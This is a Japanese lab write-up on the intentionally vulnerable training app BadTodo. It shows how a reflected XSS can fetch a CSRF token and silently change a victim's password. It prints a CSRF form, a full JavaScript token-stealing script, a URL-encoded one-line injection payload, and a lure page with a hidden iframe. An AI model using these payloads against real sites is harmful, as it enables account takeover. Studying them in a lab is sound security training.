前回:やられアプリ BadTodo - 10.6 CSRF対策トークンの不備 - demandosigno
今回は XSS を使ってCSRF相当の攻撃を行います。(パスワードの変更)
前回確認したように、CSRF対策としてトークンのチェックが行われます。
トークンは実行ページ直前のページで生成され、セッション変数とhiddenパラメータに保存されます。そして変更操作実行時にPOSTパラメータでトークンを飛ばし、先ほどセッション変数に保存したトークンと一致しているかがチェックされます。
トークンは通常は乱数で生成されるため、悪意のある第3者には分からずCSRFが実行できません。
しかしXSSがあると、スクリプトで変更直前のページにアクセスしCSRFトークンを取得することができます。続けてそのトークンを使いリクエストを実行することでトークンによるCSRF対策をかいくぐれます。
通常のCSRF攻撃の場合(csrf_password_change.html)
罠サイトよりリクエストを送信すると、
<html> <body> <form action="https://todo.example.jp/changepwddo.php" method="POST"> <input type="hidden" name="id" value="3" /> <input type="hidden" name="newpwd" value="hack" /> <input type="hidden" name="newpwd2" value="hack" /> <input type="submit"> </form> </body> <html>
トークンがないためエラーとなります。
XSSを使ってトークンを取得する場合
(注:4.7 XSS 対策方法(エスケープ処理)でXSSの対策を施した場合は元に戻しておいてください)
スクリプトの一例。(今どきはfetchを使った方がよいとは思います)
<script> const GET_URL = "https://todo.example.jp/changepwd.php"; const POST_URL = "https://todo.example.jp/changepwddo.php"; const PASS = "hack"; // 変更後のパスワード function submitFormWithTokenJS(todotoken, idValue) { let xhr = new XMLHttpRequest(); xhr.open("POST", POST_URL, true); xhr.withCredentials = true; // リクエストとともに適切なヘッダー情報を送信する xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.send("id=" + idValue + "&todotoken=" + todotoken + "&newpwd=" + PASS + "&newpwd2=" + PASS); } function getTokenJS() { let xhr = new XMLHttpRequest(); // HTML document として返すよう指示 xhr.responseType = "document"; xhr.withCredentials = true; // ここの第3引数でtrueを指定すると呼び出しは非同期になる xhr.open("GET", GET_URL, true); xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // レスポンスからドキュメントを取得する let page = xhr.response; // 確認 console.log("page = " + page); // ページ内の1番目のフォームから「todotoken」を取得する // let token = page.forms[0].elements['todotoken'].value; let token = page.querySelector("input[name='todotoken']").value; console.log("todotoken = " + token); // idを取得する(ただこのリクエストは実際のところはid無しでも通ります) let idValue = page.querySelector("input[name='id']").value; console.log("id = ", idValue); // idとトークンを使ってフォームを送信する submitFormWithTokenJS(token, idValue); } }; // リクエストする xhr.send(null); } getTokenJS(); </script>
参考:CSRF (Cross Site Request Forgery) | HackTricks
ここから
- コメントやlog出力、不要なスペース・改行を削除する
"
を入れるとHTMLタグ属性値の閉じとされてしまうので'
の方を使う- 入れ子などで
"
を使わざるをえない場合は"
を使う - 今回はURLのクエリパラメータとして渡すため
半角スペース
を%20
に、+
を%2B
に
URL エンコード | Google Maps Platform | Google for Developers
などしてスクリプトを1行にまとめます。
<script>const%20GET_URL=%27https://todo.example.jp/changepwd.php%27;const%20POST_URL=%27https://todo.example.jp/changepwddo.php%27;const%20PASS=%27hack%27;function%20submitFormWithTokenJS(todotoken,idValue){let%20xhr=new%20XMLHttpRequest();xhr.open(%27POST%27,POST_URL,true);xhr.withCredentials=true;xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27id=%27%2BidValue%2B%27%26todotoken=%27%2Btodotoken%2B%27%26newpwd=%27%2BPASS%2B%27%26newpwd2=%27%2BPASS);}function%20getTokenJS(){let%20xhr=new%20XMLHttpRequest();xhr.responseType=%27document%27;xhr.withCredentials=true;xhr.open(%27GET%27,GET_URL,true);xhr.onload=function(e){if(xhr.readyState===XMLHttpRequest.DONE%26%26xhr.status===200){let%20page=xhr.response;let%20token=page.querySelector(%27input[name="todotoken"]%27).value;let%20idValue=page.querySelector(%27input[name="id"]%27).value;submitFormWithTokenJS(token,idValue);}};xhr.send(null);}getTokenJS();</script>
実行
XSSの脆弱性がある適当なページに仕込みます。今回はhttps://todo.example.jp/todolist.php?key="><script>今回のコード</script>
で試します。(XSS5.html)
<html> <body> 100万円が当たったよ!<br> <iframe width="0" height="0" frameborder="0" src="https://todo.example.jp/todolist.php?key=%22><script>const%20GET_URL=%27https://todo.example.jp/changepwd.php%27;const%20POST_URL=%27https://todo.example.jp/changepwddo.php%27;const%20PASS=%27hack%27;function%20submitFormWithTokenJS(todotoken,idValue){let%20xhr=new%20XMLHttpRequest();xhr.open(%27POST%27,POST_URL,true);xhr.withCredentials=true;xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27id=%27%2BidValue%2B%27%26todotoken=%27%2Btodotoken%2B%27%26newpwd=%27%2BPASS%2B%27%26newpwd2=%27%2BPASS);}function%20getTokenJS(){let%20xhr=new%20XMLHttpRequest();xhr.responseType=%27document%27;xhr.withCredentials=true;xhr.open(%27GET%27,GET_URL,true);xhr.onload=function(e){if(xhr.readyState===XMLHttpRequest.DONE%26%26xhr.status===200){let%20page=xhr.response;let%20token=page.querySelector(%27input[name="todotoken"]%27).value;let%20idValue=page.querySelector(%27input[name="id"]%27).value;submitFormWithTokenJS(token,idValue);}};xhr.send(null);}getTokenJS();</script>"></iframe> </body> </html>
Todoリストにリンク(https://100万円.com/
⇒ https://trap.example.org/XSS5.html
)として保存し、被害者がクリックすると「100万円が当たったよ!」ページが表示されます。
この時点で指定のパスワードに変更されています。(キャッシュの都合でサイトにはすぐには反映されない場合があります。BadTodo:Nginxのキャッシュクリア)
というわけで、XSSを甘く見てはいけないということでした。
その他の確認
https://trap.example.org/XSS5.html
に隠されている<iframe>
内のページ/todolist.php
を開いて確認するとスクリプトが展開されていることが分かります。
Burpも確認。
まず GET /changepwd.php
して取得したデータを使い POST /changepwddo.php
される。
余談:安全確保支援士試験(令和5年度秋)の午後「問1」にて、今回の例に似た「XSSによりトークンを取得し、セッションIDをファイルアップロードさせる」という例が出題されました。
問題冊子・配点割合・解答例・採点講評(2023年度、令和5年度) | 試験情報 | IPA 独立行政法人 情報処理推進機構
XSS+CSRF の例としてもう一つやってみましたが BadTodo - 24 適切でないアップロートファイル制限 などの話もからむため後回しでよいと思います。
24.5 色々混ぜてやってみる1(XSS - CSRF -WebShell)